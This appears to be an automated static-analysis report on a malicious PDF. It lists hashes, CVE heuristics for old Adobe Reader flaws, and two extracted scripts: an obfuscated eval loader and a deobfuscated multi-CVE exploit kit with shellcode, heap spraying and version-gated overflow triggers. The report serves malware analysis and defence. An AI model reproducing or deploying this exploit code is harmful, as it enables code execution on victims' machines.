Malicious PDF — malware analysis report

Static analysis result for SHA-256 2189e2281f91ff10…

MALICIOUS

PDF

44.8 KB First seen: 2026-05-08
MD5: 978942a4a50ef732ef85784904f3a085 SHA-1: f5a5c8cac0dc537a0efa8814b2fe27fe64d7793f SHA-256: 2189e2281f91ff10a27703fdffaed950d1a5dad9acdd98cf72bb17af2ec39b3e
408 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF contains embedded JavaScript, flagged by heuristics as malicious. The ML classifier strongly indicates malicious intent. The JavaScript stream, named 'javascript_obj0001_000.js', is the primary indicator of malicious activity, likely serving as a downloader for further stages.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB055 517 bytes
SHA-256: 0a2e2d416cf24ff09fbb4613fbaedbdf8a790eaacad7fa7540f9dd6a616b6a72
Preview script
First 1,000 lines of the extracted script
vqrq='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=qwe()[a[0]+a[5]+a[1]+(a,t[0])];
b=qwe['qfwqf'];
e('iyi=t'+('qwtwqt','hisundefined').replace(b,'.')+'ti'+'t'+t);
s=iyi[v+a[6]](10,4);
s+='tr';
eihq=e('S'+'tring.fro'+iyi[s](1,9));
q=iyi[s](14);
ghpu = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=ghpu.length');
for (i = 0; i < k; i+=2) {
	zmvil = ghpu[i+1] + ('erybjkerl',ghpu[i]);
	vqrq += eihq(zmvil);
}
e(vqrq);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3660 bytes
SHA-256: 480c200a56311b21324a1ccf79ee2ba6696d8dce66bb2b640683f9b03818664e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3eb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u6b34%ue2aa%uc3fa%ue5e8%uffff%u82ff%u6a67%u6b6b%uea35%u3787%u6b6a%ue26b%ue68c%u7b24%u04e6%u5a3f%u3cb0%u383a%u3838%u3838%u3838%u383e%u0338%u6a6f%u6b6b%u3d3e%u0338%u0504%u6b6b%u1e03%u0719%u3f06%ue503%u6525%u8387%u6b23%u6b6b%u833b%u6b17%u6b6b%ubb94%uafe8%u0363%u8424%u6e24%u833b%u6b07%u6b6b%ubb94%uabee%u7c1e%u3f01%u9832%u03c1%u9519%u7dd8%u7683%u6b6b%u3b6b%u3a83%u6b6b%u946b%u38bb%u9501%ue203%u6a04%u83d6%u6b63%u6b6b%u833b%u6b57%u6b6b%ubb94%u5a0b%u0fab%u3be0%ue05b%u6739%u39e0%ue07f%u4319%u73d2%u6b6b%u5a6b%u5a94%uc7ab%u0a57%u6917%u4b47%ua4aa%u6a66%u89ac%uea9b%u3094%u21d7%ue001%u7b29%u79e0%ub21e%u2fe2%u774f%ua80a%ue00b%u4f07%ue04f%u572e%u3fe0%u136e%u816a%u21e0%ue073%u4b31%u806a%u5f88%ue022%ue05f%u856a%u945a%uab5a%uc797%uabef%u6c1f%ua4aa%u6a66%u80ac%u509f%u4f17%u1e43%ue08a%u4f31%u806a%ue00d%u2067%u31e0%u6a77%ue080%ue06f%u836a%u2fe2%u774f%ua90a%u6b63%u8483%u9495%u0394%u1f1f%u511b%u4444%u0418%u1218%u0308%u0a00%u0245%u0d05%u4404%u0309%u445b%u450f%u031b%u541b%u560d%u535a%u0e4d%u5e56%u006b';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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